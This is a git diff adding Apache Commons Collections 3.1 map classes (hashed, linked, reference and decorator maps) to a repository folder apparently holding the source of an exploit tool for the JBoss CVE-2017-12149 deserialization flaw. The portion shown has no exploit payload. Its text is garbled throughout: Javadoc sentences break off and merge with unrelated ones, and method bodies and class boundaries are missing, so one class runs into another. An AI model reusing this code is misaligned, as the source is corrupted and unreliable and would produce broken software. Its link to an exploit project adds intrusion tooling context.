+ public void clear() {
+ parent.clear();
+ }
+
+ public boolean contains(Object entry) {
+ if (entry instanceof Map.Entry) {
+ Map.Entry e = (Map.Entry) entry;
+ Entry match = parent.getEntry(e.getKey());
+ return (match != null && match.equals(e));
+ }
+ return false;
+ }
+
+ public boolean remove(Object obj) {
+ if (obj instanceof Map.Entry == false) {
+ return false;
+ }
+ if (contains(obj) == false) {
+ return false;
+ }
+ Map.Entry entry = (Map.Entry) obj;
+ Object key = entry.getKey();
+ parent.remove(key);
+ return true;
+ }
+
+ public Iterator iterator() {
+ return parent.createEntrySetIterator();
+ }
+ }
+
+ /**
+ * EntrySet iterator.
+ */
+ protected static class EntrySetIterator extends HashIterator {
+
+ protected EntrySetIterator(AbstractHashedMap parent) {
+ super(parent);
+ }
+
+ public Object next() {
+ return super.nextEntry();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the keySet view of the map.
+ * Changes made to the view affect this map.
+ * To simply iterate through the keys, use {@link #mapIterator()}.
+ *
+ * @return the keySet view
+ */
+ public Set keySet() {
+ if (keySet == null) {
+ keySet = new KeySet(this);
+ }
+ return keySet;
+ }
+
+ /**
+ * Creates a key set iterator.
+ * Subclasses can override this to return iterators with different properties.
+ *
+ * @return the keySet iterator
+ */
+ protected Iterator createKeySetIterator() {
+ if (size() == 0) {
+ return EmptyIterator.INSTANCE;
+ }
+ return new KeySetIterator(this);
+ }
+
+ /**
+ * KeySet implementation.
+ */
+ protected static class KeySet extends AbstractSet {
+ /** The parent map */
+ protected final AbstractHashedMap parent;
+
+ protected KeySet(AbstractHashedMap parent) {
+ super();
+ this.parent = parent;
+ }
+
+ public int size() {
+ return parent.size();
+ }
+
+ public void clear() {
+ parent.clear();
+ }
+
+ public boolean contains(Object key) {
+ return parent.containsKey(key);
+ }
+
+ public boolean remove(Object key) {
+ boolean result = parent.containsKey(key);
+ parent.remove(key);
+ return result;
+ }
+
+ public Iterator iterator() {
+ return parent.createKeySetIterator();
+ }
+ }
+
+ /**
+ * KeySet iterator.
+ */
+ protected static class KeySetIterator extends EntrySetIterator {
+
+ protected KeySetIterator(AbstractHashedMap parent) {
+ super(parent);
+ }
+
+ public Object next() {
+ return super.nextEntry().getKey();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the values view of the map.
+ * Changes made to the view affect this map.
+ * To simply iterate through the values, use {@link #mapIterator()}.
+ *
+ * @return the values view
+ */
+ public Collection values() {
+ if (values == null) {
+ values = new Values(this);
+ }
+ return values;
+ }
+
+ /**
+ * Creates a values iterator.
+ * Subclasses can override this to return iterators with different properties.
+ *
+ * @return the values iterator
+ */
+ protected Iterator createValuesIterator() {
+ if (size() == 0) {
+ return EmptyIterator.INSTANCE;
+ }
+ return new ValuesIterator(this);
+ }
+
+ /**
+ * Values implementation.
+ */
+ protected static class Values extends AbstractCollection {
+ /** The parent map */
+ protected final AbstractHashedMap parent;
+
+ protected Values(AbstractHashedMap parent) {
+ super();
+ this.parent = parent;
+ }
+
+ public int size() {
+ return parent.size();
+ }
+
+ public void clear() {
+ parent.clear();
+ }
+
+ public boolean contains(Object value) {
+ return parent.containsValue(value);
+ }
+
+ public Iterator iterator() {
+ return parent.createValuesIterator();
+ }
+ }
+
+ /**
+ * Values iterator.
+ */
+ protected static class ValuesIterator extends HashIterator {
+
+ protected ValuesIterator(AbstractHashedMap parent) {
+ super(parent);
+ }
+
+ public Object next() {
+ return super.nextEntry().getValue();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * HashEntry used to store the data.
+ *
+ * If you subclass
+ * Serialization is not one of the JDK's nicest topics. Normal serialization will
+ * initialise the superclass before the subclass. Sometimes however, this isn't
+ * what you want, as in this case the
+ * The solution adopted here is to serialize the state data of this class in
+ * this protected method. This method must be called by the
+ *
+ * Subclasses may override if they have a specific field that must be present
+ * on read before this implementation will work. Generally, the read determines
+ * what must be serialized here, if anything.
+ *
+ * @param out the output stream
+ */
+ protected void doWriteObject(ObjectOutputStream out) throws IOException {
+ out.writeFloat(loadFactor);
+ out.writeInt(data.length);
+ out.writeInt(size);
+ for (MapIterator it = mapIterator(); it.hasNext();) {
+ out.writeObject(it.next());
+ out.writeObject(it.getValue());
+ }
+ }
+
+ /**
+ * Reads the map data from the stream. This method must be overridden if a
+ * subclass must be setup before
+ * Serialization is not one of the JDK's nicest topics. Normal serialization will
+ * initialise the superclass before the subclass. Sometimes however, this isn't
+ * what you want, as in this case the
+ * The solution adopted here is to deserialize the state data of this class in
+ * this protected method. This method must be called by the
+ *
+ * Subclasses may override if the subclass has a specific field that must be present
+ * before
+ * To implement
+ * The Map API is very difficult to decorate correctly, and involves implementing
+ * lots of different classes. This class exists to provide a simpler API.
+ *
+ * Special hook methods are provided that are called when objects are added to
+ * the map. By overriding these methods, the input can be validated or manipulated.
+ * In addition to the main map methods, the entrySet is also affected, which is
+ * the hardest part of writing map implementations.
+ *
+ * This class is package-scoped, and may be withdrawn or replaced in future
+ * versions of Commons Collections.
+ *
+ * @since Commons Collections 3.1
+ * @version $Revision: 1.2 $ $Date: 2004/05/21 22:01:04 $
+ *
+ * @author Stephen Colebourne
+ */
+abstract class AbstractInputCheckedMapDecorator
+ extends AbstractMapDecorator {
+
+ /**
+ * Constructor only used in deserialization, do not use otherwise.
+ */
+ protected AbstractInputCheckedMapDecorator() {
+ super();
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ protected AbstractInputCheckedMapDecorator(Map map) {
+ super(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Hook method called when a value is being set using
+ * An implementation may validate the value and throw an exception
+ * or it may transform the value into another object.
+ *
+ * This implementation returns the input value.
+ *
+ * @param value the value to check
+ * @throws UnsupportedOperationException if the map may not be changed by setValue
+ * @throws IllegalArgumentException if the specified value is invalid
+ * @throws ClassCastException if the class of the specified value is invalid
+ * @throws NullPointerException if the specified value is null and nulls are invalid
+ */
+ protected abstract Object checkSetValue(Object value);
+
+ /**
+ * Hook method called to determine if
+ * An implementation should return false if the
+ * This implementation returns
+ * This class implements all the features necessary for a subclass linked
+ * hash-based map. Key-value entries are stored in instances of the
+ *
+ * Overridable methods are provided to change the default hashing behaviour, and
+ * to change how entries are added to and removed from the map. Hopefully, all you
+ * need for unusual subclasses is here.
+ *
+ * This implementation maintains order by original insertion, but subclasses
+ * may work differently. The
+ * The
+ * All the available iterators can be reset back to the start by casting to
+ *
+ * The implementation is also designed to be subclassed, with lots of useful
+ * methods exposed.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.12 $ $Date: 2004/05/26 21:56:05 $
+ *
+ * @author java util LinkedHashMap
+ * @author Stephen Colebourne
+ */
+public class AbstractLinkedMap extends AbstractHashedMap implements OrderedMap {
+
+ /** Header in the linked list */
+ protected transient LinkEntry header;
+
+ /**
+ * Constructor only used in deserialization, do not use otherwise.
+ */
+ protected AbstractLinkedMap() {
+ super();
+ }
+
+ /**
+ * Constructor which performs no validation on the passed in parameters.
+ *
+ * @param initialCapacity the initial capacity, must be a power of two
+ * @param loadFactor the load factor, must be > 0.0f and generally < 1.0f
+ * @param threshold the threshold, must be sensible
+ */
+ protected AbstractLinkedMap(int initialCapacity, float loadFactor, int threshold) {
+ super(initialCapacity, loadFactor, threshold);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified initial capacity.
+ *
+ * @param initialCapacity the initial capacity
+ * @throws IllegalArgumentException if the initial capacity is less than one
+ */
+ protected AbstractLinkedMap(int initialCapacity) {
+ super(initialCapacity);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified initial capacity and
+ * load factor.
+ *
+ * @param initialCapacity the initial capacity
+ * @param loadFactor the load factor
+ * @throws IllegalArgumentException if the initial capacity is less than one
+ * @throws IllegalArgumentException if the load factor is less than zero
+ */
+ protected AbstractLinkedMap(int initialCapacity, float loadFactor) {
+ super(initialCapacity, loadFactor);
+ }
+
+ /**
+ * Constructor copying elements from another map.
+ *
+ * @param map the map to copy
+ * @throws NullPointerException if the map is null
+ */
+ protected AbstractLinkedMap(Map map) {
+ super(map);
+ }
+
+ /**
+ * Initialise this subclass during construction.
+ */
+ protected void init() {
+ header = new LinkEntry(null, -1, null, null);
+ header.before = header.after = header;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Checks whether the map contains the specified value.
+ *
+ * @param value the value to search for
+ * @return true if the map contains the value
+ */
+ public boolean containsValue(Object value) {
+ // override uses faster iterator
+ if (value == null) {
+ for (LinkEntry entry = header.after; entry != header; entry = entry.after) {
+ if (entry.getValue() == null) {
+ return true;
+ }
+ }
+ } else {
+ for (LinkEntry entry = header.after; entry != header; entry = entry.after) {
+ if (isEqualValue(value, entry.getValue())) {
+ return true;
+ }
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Clears the map, resetting the size to zero and nullifying references
+ * to avoid garbage collection issues.
+ */
+ public void clear() {
+ // override to reset the linked list
+ super.clear();
+ header.before = header.after = header;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the first key in the map, which is the most recently inserted.
+ *
+ * @return the most recently inserted key
+ */
+ public Object firstKey() {
+ if (size == 0) {
+ throw new NoSuchElementException("Map is empty");
+ }
+ return header.after.getKey();
+ }
+
+ /**
+ * Gets the last key in the map, which is the first inserted.
+ *
+ * @return the eldest key
+ */
+ public Object lastKey() {
+ if (size == 0) {
+ throw new NoSuchElementException("Map is empty");
+ }
+ return header.before.getKey();
+ }
+
+ /**
+ * Gets the next key in sequence.
+ *
+ * @param key the key to get after
+ * @return the next key
+ */
+ public Object nextKey(Object key) {
+ LinkEntry entry = (LinkEntry) getEntry(key);
+ return (entry == null || entry.after == header ? null : entry.after.getKey());
+ }
+
+ /**
+ * Gets the previous key in sequence.
+ *
+ * @param key the key to get before
+ * @return the previous key
+ */
+ public Object previousKey(Object key) {
+ LinkEntry entry = (LinkEntry) getEntry(key);
+ return (entry == null || entry.before == header ? null : entry.before.getKey());
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the key at the specified index.
+ *
+ * @param index the index to retrieve
+ * @return the key at the specified index
+ * @throws IndexOutOfBoundsException if the index is invalid
+ */
+ protected LinkEntry getEntry(int index) {
+ if (index < 0) {
+ throw new IndexOutOfBoundsException("Index " + index + " is less than zero");
+ }
+ if (index >= size) {
+ throw new IndexOutOfBoundsException("Index " + index + " is invalid for size " + size);
+ }
+ LinkEntry entry;
+ if (index < (size / 2)) {
+ // Search forwards
+ entry = header.after;
+ for (int currentIndex = 0; currentIndex < index; currentIndex++) {
+ entry = entry.after;
+ }
+ } else {
+ // Search backwards
+ entry = header;
+ for (int currentIndex = size; currentIndex > index; currentIndex--) {
+ entry = entry.before;
+ }
+ }
+ return entry;
+ }
+
+ /**
+ * Adds an entry into this map, maintaining insertion order.
+ *
+ * This implementation adds the entry to the data storage table and
+ * to the end of the linked list.
+ *
+ * @param entry the entry to add
+ * @param hashIndex the index into the data array to store at
+ */
+ protected void addEntry(HashEntry entry, int hashIndex) {
+ LinkEntry link = (LinkEntry) entry;
+ link.after = header;
+ link.before = header.before;
+ header.before.after = link;
+ header.before = link;
+ data[hashIndex] = entry;
+ }
+
+ /**
+ * Creates an entry to store the data.
+ *
+ * This implementation creates a new LinkEntry instance.
+ *
+ * @param next the next entry in sequence
+ * @param hashCode the hash code to use
+ * @param key the key to store
+ * @param value the value to store
+ * @return the newly created entry
+ */
+ protected HashEntry createEntry(HashEntry next, int hashCode, Object key, Object value) {
+ return new LinkEntry(next, hashCode, key, value);
+ }
+
+ /**
+ * Removes an entry from the map and the linked list.
+ *
+ * This implementation removes the entry from the linked list chain, then
+ * calls the superclass implementation.
+ *
+ * @param entry the entry to remove
+ * @param hashIndex the index into the data structure
+ * @param previous the previous entry in the chain
+ */
+ protected void removeEntry(HashEntry entry, int hashIndex, HashEntry previous) {
+ LinkEntry link = (LinkEntry) entry;
+ link.before.after = link.after;
+ link.after.before = link.before;
+ link.after = null;
+ link.before = null;
+ super.removeEntry(entry, hashIndex, previous);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the
+ * A MapIterator returns the keys in the map. It also provides convenient
+ * methods to get the key and value, and set the value.
+ * It avoids the need to create an entrySet/keySet/values object.
+ *
+ * @return the map iterator
+ */
+ public MapIterator mapIterator() {
+ if (size == 0) {
+ return EmptyOrderedMapIterator.INSTANCE;
+ }
+ return new LinkMapIterator(this);
+ }
+
+ /**
+ * Gets a bidirectional iterator over the map.
+ * Changes made to the iterator affect this map.
+ *
+ * A MapIterator returns the keys in the map. It also provides convenient
+ * methods to get the key and value, and set the value.
+ * It avoids the need to create an entrySet/keySet/values object.
+ *
+ * @return the map iterator
+ */
+ public OrderedMapIterator orderedMapIterator() {
+ if (size == 0) {
+ return EmptyOrderedMapIterator.INSTANCE;
+ }
+ return new LinkMapIterator(this);
+ }
+
+ /**
+ * MapIterator implementation.
+ */
+ protected static class LinkMapIterator extends LinkIterator implements OrderedMapIterator {
+
+ protected LinkMapIterator(AbstractLinkedMap parent) {
+ super(parent);
+ }
+
+ public Object next() {
+ return super.nextEntry().getKey();
+ }
+
+ public Object previous() {
+ return super.previousEntry().getKey();
+ }
+
+ public Object getKey() {
+ HashEntry current = currentEntry();
+ if (current == null) {
+ throw new IllegalStateException(AbstractHashedMap.GETKEY_INVALID);
+ }
+ return current.getKey();
+ }
+
+ public Object getValue() {
+ HashEntry current = currentEntry();
+ if (current == null) {
+ throw new IllegalStateException(AbstractHashedMap.GETVALUE_INVALID);
+ }
+ return current.getValue();
+ }
+
+ public Object setValue(Object value) {
+ HashEntry current = currentEntry();
+ if (current == null) {
+ throw new IllegalStateException(AbstractHashedMap.SETVALUE_INVALID);
+ }
+ return current.setValue(value);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Creates an entry set iterator.
+ * Subclasses can override this to return iterators with different properties.
+ *
+ * @return the entrySet iterator
+ */
+ protected Iterator createEntrySetIterator() {
+ if (size() == 0) {
+ return EmptyOrderedIterator.INSTANCE;
+ }
+ return new EntrySetIterator(this);
+ }
+
+ /**
+ * EntrySet iterator.
+ */
+ protected static class EntrySetIterator extends LinkIterator {
+
+ protected EntrySetIterator(AbstractLinkedMap parent) {
+ super(parent);
+ }
+
+ public Object next() {
+ return super.nextEntry();
+ }
+
+ public Object previous() {
+ return super.previousEntry();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Creates a key set iterator.
+ * Subclasses can override this to return iterators with different properties.
+ *
+ * @return the keySet iterator
+ */
+ protected Iterator createKeySetIterator() {
+ if (size() == 0) {
+ return EmptyOrderedIterator.INSTANCE;
+ }
+ return new KeySetIterator(this);
+ }
+
+ /**
+ * KeySet iterator.
+ */
+ protected static class KeySetIterator extends EntrySetIterator {
+
+ protected KeySetIterator(AbstractLinkedMap parent) {
+ super(parent);
+ }
+
+ public Object next() {
+ return super.nextEntry().getKey();
+ }
+
+ public Object previous() {
+ return super.previousEntry().getKey();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Creates a values iterator.
+ * Subclasses can override this to return iterators with different properties.
+ *
+ * @return the values iterator
+ */
+ protected Iterator createValuesIterator() {
+ if (size() == 0) {
+ return EmptyOrderedIterator.INSTANCE;
+ }
+ return new ValuesIterator(this);
+ }
+
+ /**
+ * Values iterator.
+ */
+ protected static class ValuesIterator extends LinkIterator {
+
+ protected ValuesIterator(AbstractLinkedMap parent) {
+ super(parent);
+ }
+
+ public Object next() {
+ return super.nextEntry().getValue();
+ }
+
+ public Object previous() {
+ return super.previousEntry().getValue();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * LinkEntry that stores the data.
+ *
+ * If you subclass
+ * Methods are forwarded directly to the decorated map.
+ *
+ * This implementation does not perform any special processing with
+ * {@link #entrySet()}, {@link #keySet()} or {@link #values()}. Instead
+ * it simply returns the set/collection from the wrapped map. This may be
+ * undesirable, for example if you are trying to write a validating
+ * implementation it would provide a loophole around the validation.
+ * But, you might want that loophole, so this class is kept simple.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/04/02 21:02:54 $
+ *
+ * @author Daniel Rall
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractMapDecorator implements Map {
+
+ /** The map to decorate */
+ protected transient Map map;
+
+ /**
+ * Constructor only used in deserialization, do not use otherwise.
+ * @since Commons Collections 3.1
+ */
+ protected AbstractMapDecorator() {
+ super();
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ public AbstractMapDecorator(Map map) {
+ if (map == null) {
+ throw new IllegalArgumentException("Map must not be null");
+ }
+ this.map = map;
+ }
+
+ /**
+ * Gets the map being decorated.
+ *
+ * @return the decorated map
+ */
+ protected Map getMap() {
+ return map;
+ }
+
+ //-----------------------------------------------------------------------
+ public void clear() {
+ map.clear();
+ }
+
+ public boolean containsKey(Object key) {
+ return map.containsKey(key);
+ }
+
+ public boolean containsValue(Object value) {
+ return map.containsValue(value);
+ }
+
+ public Set entrySet() {
+ return map.entrySet();
+ }
+
+ public Object get(Object key) {
+ return map.get(key);
+ }
+
+ public boolean isEmpty() {
+ return map.isEmpty();
+ }
+
+ public Set keySet() {
+ return map.keySet();
+ }
+
+ public Object put(Object key, Object value) {
+ return map.put(key, value);
+ }
+
+ public void putAll(Map mapToCopy) {
+ map.putAll(mapToCopy);
+ }
+
+ public Object remove(Object key) {
+ return map.remove(key);
+ }
+
+ public int size() {
+ return map.size();
+ }
+
+ public Collection values() {
+ return map.values();
+ }
+
+ public boolean equals(Object object) {
+ if (object == this) {
+ return true;
+ }
+ return map.equals(object);
+ }
+
+ public int hashCode() {
+ return map.hashCode();
+ }
+
+ public String toString() {
+ return map.toString();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractOrderedMapDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractOrderedMapDecorator.java"
new file mode 100644
index 0000000..e4211ae
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractOrderedMapDecorator.java"
@@ -0,0 +1,94 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.OrderedMap;
+import org.apache.commons.collections.OrderedMapIterator;
+
+/**
+ * Provides a base decorator that enables additional functionality to be added
+ * to an OrderedMap via decoration.
+ *
+ * Methods are forwarded directly to the decorated map.
+ *
+ * This implementation does not perform any special processing with the map views.
+ * Instead it simply returns the set/collection from the wrapped map. This may be
+ * undesirable, for example if you are trying to write a validating implementation
+ * it would provide a loophole around the validation.
+ * But, you might want that loophole, so this class is kept simple.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/04/02 21:17:48 $
+ *
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractOrderedMapDecorator
+ extends AbstractMapDecorator implements OrderedMap {
+
+ /**
+ * Constructor only used in deserialization, do not use otherwise.
+ * @since Commons Collections 3.1
+ */
+ protected AbstractOrderedMapDecorator() {
+ super();
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ public AbstractOrderedMapDecorator(OrderedMap map) {
+ super(map);
+ }
+
+ /**
+ * Gets the map being decorated.
+ *
+ * @return the decorated map
+ */
+ protected OrderedMap getOrderedMap() {
+ return (OrderedMap) map;
+ }
+
+ //-----------------------------------------------------------------------
+ public Object firstKey() {
+ return getOrderedMap().firstKey();
+ }
+
+ public Object lastKey() {
+ return getOrderedMap().lastKey();
+ }
+
+ public Object nextKey(Object key) {
+ return getOrderedMap().nextKey(key);
+ }
+
+ public Object previousKey(Object key) {
+ return getOrderedMap().previousKey(key);
+ }
+
+ public MapIterator mapIterator() {
+ return getOrderedMap().mapIterator();
+ }
+
+ public OrderedMapIterator orderedMapIterator() {
+ return getOrderedMap().orderedMapIterator();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractReferenceMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractReferenceMap.java"
new file mode 100644
index 0000000..bb999d1
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/AbstractReferenceMap.java"
@@ -0,0 +1,980 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.lang.ref.Reference;
+import java.lang.ref.ReferenceQueue;
+import java.lang.ref.SoftReference;
+import java.lang.ref.WeakReference;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.keyvalue.DefaultMapEntry;
+
+/**
+ * An abstract implementation of a hash-based map that allows the entries to
+ * be removed by the garbage collector.
+ *
+ * This class implements all the features necessary for a subclass reference
+ * hash-based map. Key-value entries are stored in instances of the
+ *
+ * Overridable methods are provided to change the default hashing behaviour, and
+ * to change how entries are added to and removed from the map. Hopefully, all you
+ * need for unusual subclasses is here.
+ *
+ * When you construct an
+ * Different types of references can be specified for keys and values.
+ * The keys can be configured to be weak but the values hard,
+ * in which case this class will behave like a
+ *
+ *
+ * This {@link Map} implementation does not allow null elements.
+ * Attempting to add a null key or value to the map will raise a
+ *
+ * All the available iterators can be reset back to the start by casting to
+ *
+ * This implementation is not synchronized.
+ * You can use {@link java.util.Collections#synchronizedMap} to
+ * provide synchronized access to a
+ * This implementation calls {@link #purge()} to maintain a consistent state.
+ */
+ protected void purgeBeforeRead() {
+ purge();
+ }
+
+ /**
+ * Purges stale mappings from this map before write operations.
+ *
+ * This implementation calls {@link #purge()} to maintain a consistent state.
+ */
+ protected void purgeBeforeWrite() {
+ purge();
+ }
+
+ /**
+ * Purges stale mappings from this map.
+ *
+ * Note that this method is not synchronized! Special
+ * care must be taken if, for instance, you want stale
+ * mappings to be removed on a periodic basis by some
+ * background thread.
+ */
+ protected void purge() {
+ Reference ref = queue.poll();
+ while (ref != null) {
+ purge(ref);
+ ref = queue.poll();
+ }
+ }
+
+ /**
+ * Purges the specified reference.
+ *
+ * @param ref the reference to purge
+ */
+ protected void purge(Reference ref) {
+ // The hashCode of the reference is the hashCode of the
+ // mapping key, even if the reference refers to the
+ // mapping value...
+ int hash = ref.hashCode();
+ int index = hashIndex(hash, data.length);
+ HashEntry previous = null;
+ HashEntry entry = data[index];
+ while (entry != null) {
+ if (((ReferenceEntry) entry).purge(ref)) {
+ if (previous == null) {
+ data[index] = entry.next;
+ } else {
+ previous.next = entry.next;
+ }
+ this.size--;
+ return;
+ }
+ previous = entry;
+ entry = entry.next;
+ }
+
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the entry mapped to the key specified.
+ *
+ * @param key the key
+ * @return the entry, null if no match
+ */
+ protected HashEntry getEntry(Object key) {
+ if (key == null) {
+ return null;
+ } else {
+ return super.getEntry(key);
+ }
+ }
+
+ /**
+ * Gets the hash code for a MapEntry.
+ * Subclasses can override this, for example to use the identityHashCode.
+ *
+ * @param key the key to get a hash code for, may be null
+ * @param value the value to get a hash code for, may be null
+ * @return the hash code, as per the MapEntry specification
+ */
+ protected int hashEntry(Object key, Object value) {
+ return (key == null ? 0 : key.hashCode()) ^
+ (value == null ? 0 : value.hashCode());
+ }
+
+ /**
+ * Compares two keys, in internal converted form, to see if they are equal.
+ *
+ * This implementation converts the key from the entry to a real reference
+ * before comparison.
+ *
+ * @param key1 the first key to compare passed in from outside
+ * @param key2 the second key extracted from the entry via
+ * If getKey() or getValue() returns null, it means
+ * the mapping is stale and should be removed.
+ *
+ * @since Commons Collections 3.1
+ */
+ protected static class ReferenceEntry extends HashEntry {
+ /** The parent map */
+ protected final AbstractReferenceMap parent;
+
+ /**
+ * Creates a new entry object for the ReferenceMap.
+ *
+ * @param parent the parent map
+ * @param next the next entry in the hash bucket
+ * @param hashCode the hash code of the key
+ * @param key the key
+ * @param value the value
+ */
+ public ReferenceEntry(AbstractReferenceMap parent, HashEntry next, int hashCode, Object key, Object value) {
+ super(next, hashCode, null, null);
+ this.parent = parent;
+ this.key = toReference(parent.keyType, key, hashCode);
+ this.value = toReference(parent.valueType, value, hashCode); // the key hashCode is passed in deliberately
+ }
+
+ /**
+ * Gets the key from the entry.
+ * This method dereferences weak and soft keys and thus may return null.
+ *
+ * @return the key, which may be null if it was garbage collected
+ */
+ public Object getKey() {
+ return (parent.keyType > HARD) ? ((Reference) key).get() : key;
+ }
+
+ /**
+ * Gets the value from the entry.
+ * This method dereferences weak and soft value and thus may return null.
+ *
+ * @return the value, which may be null if it was garbage collected
+ */
+ public Object getValue() {
+ return (parent.valueType > HARD) ? ((Reference) value).get() : value;
+ }
+
+ /**
+ * Sets the value of the entry.
+ *
+ * @param obj the object to store
+ * @return the previous value
+ */
+ public Object setValue(Object obj) {
+ Object old = getValue();
+ if (parent.valueType > HARD) {
+ ((Reference)value).clear();
+ }
+ value = toReference(parent.valueType, obj, hashCode);
+ return old;
+ }
+
+ /**
+ * Compares this map entry to another.
+ *
+ * This implementation uses
+ * This implementation uses
+ * Serialization is not one of the JDK's nicest topics. Normal serialization will
+ * initialise the superclass before the subclass. Sometimes however, this isn't
+ * what you want, as in this case the
+ * The solution adopted here is to serialize the state data of this class in
+ * this protected method. This method must be called by the
+ *
+ * Subclasses may override if they have a specific field that must be present
+ * on read before this implementation will work. Generally, the read determines
+ * what must be serialized here, if anything.
+ *
+ * @param out the output stream
+ */
+ protected void doWriteObject(ObjectOutputStream out) throws IOException {
+ out.writeInt(keyType);
+ out.writeInt(valueType);
+ out.writeBoolean(purgeValues);
+ out.writeFloat(loadFactor);
+ out.writeInt(data.length);
+ for (MapIterator it = mapIterator(); it.hasNext();) {
+ out.writeObject(it.next());
+ out.writeObject(it.getValue());
+ }
+ out.writeObject(null); // null terminate map
+ // do not call super.doWriteObject() as code there doesn't work for reference map
+ }
+
+ /**
+ * Replaces the superclassm method to read the state of this class.
+ *
+ * Serialization is not one of the JDK's nicest topics. Normal serialization will
+ * initialise the superclass before the subclass. Sometimes however, this isn't
+ * what you want, as in this case the
+ * The solution adopted here is to deserialize the state data of this class in
+ * this protected method. This method must be called by the
+ *
+ * Subclasses may override if the subclass has a specific field that must be present
+ * before
+ * Methods are forwarded directly to the decorated map.
+ *
+ * This implementation does not perform any special processing with the map views.
+ * Instead it simply returns the set/collection from the wrapped map. This may be
+ * undesirable, for example if you are trying to write a validating implementation
+ * it would provide a loophole around the validation.
+ * But, you might want that loophole, so this class is kept simple.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/04/02 21:16:50 $
+ *
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractSortedMapDecorator
+ extends AbstractMapDecorator implements SortedMap {
+
+ /**
+ * Constructor only used in deserialization, do not use otherwise.
+ * @since Commons Collections 3.1
+ */
+ protected AbstractSortedMapDecorator() {
+ super();
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if the collection is null
+ */
+ public AbstractSortedMapDecorator(SortedMap map) {
+ super(map);
+ }
+
+ /**
+ * Gets the map being decorated.
+ *
+ * @return the decorated map
+ */
+ protected SortedMap getSortedMap() {
+ return (SortedMap) map;
+ }
+
+ //-----------------------------------------------------------------------
+ public Comparator comparator() {
+ return getSortedMap().comparator();
+ }
+
+ public Object firstKey() {
+ return getSortedMap().firstKey();
+ }
+
+ public SortedMap headMap(Object toKey) {
+ return getSortedMap().headMap(toKey);
+ }
+
+ public Object lastKey() {
+ return getSortedMap().lastKey();
+ }
+
+ public SortedMap subMap(Object fromKey, Object toKey) {
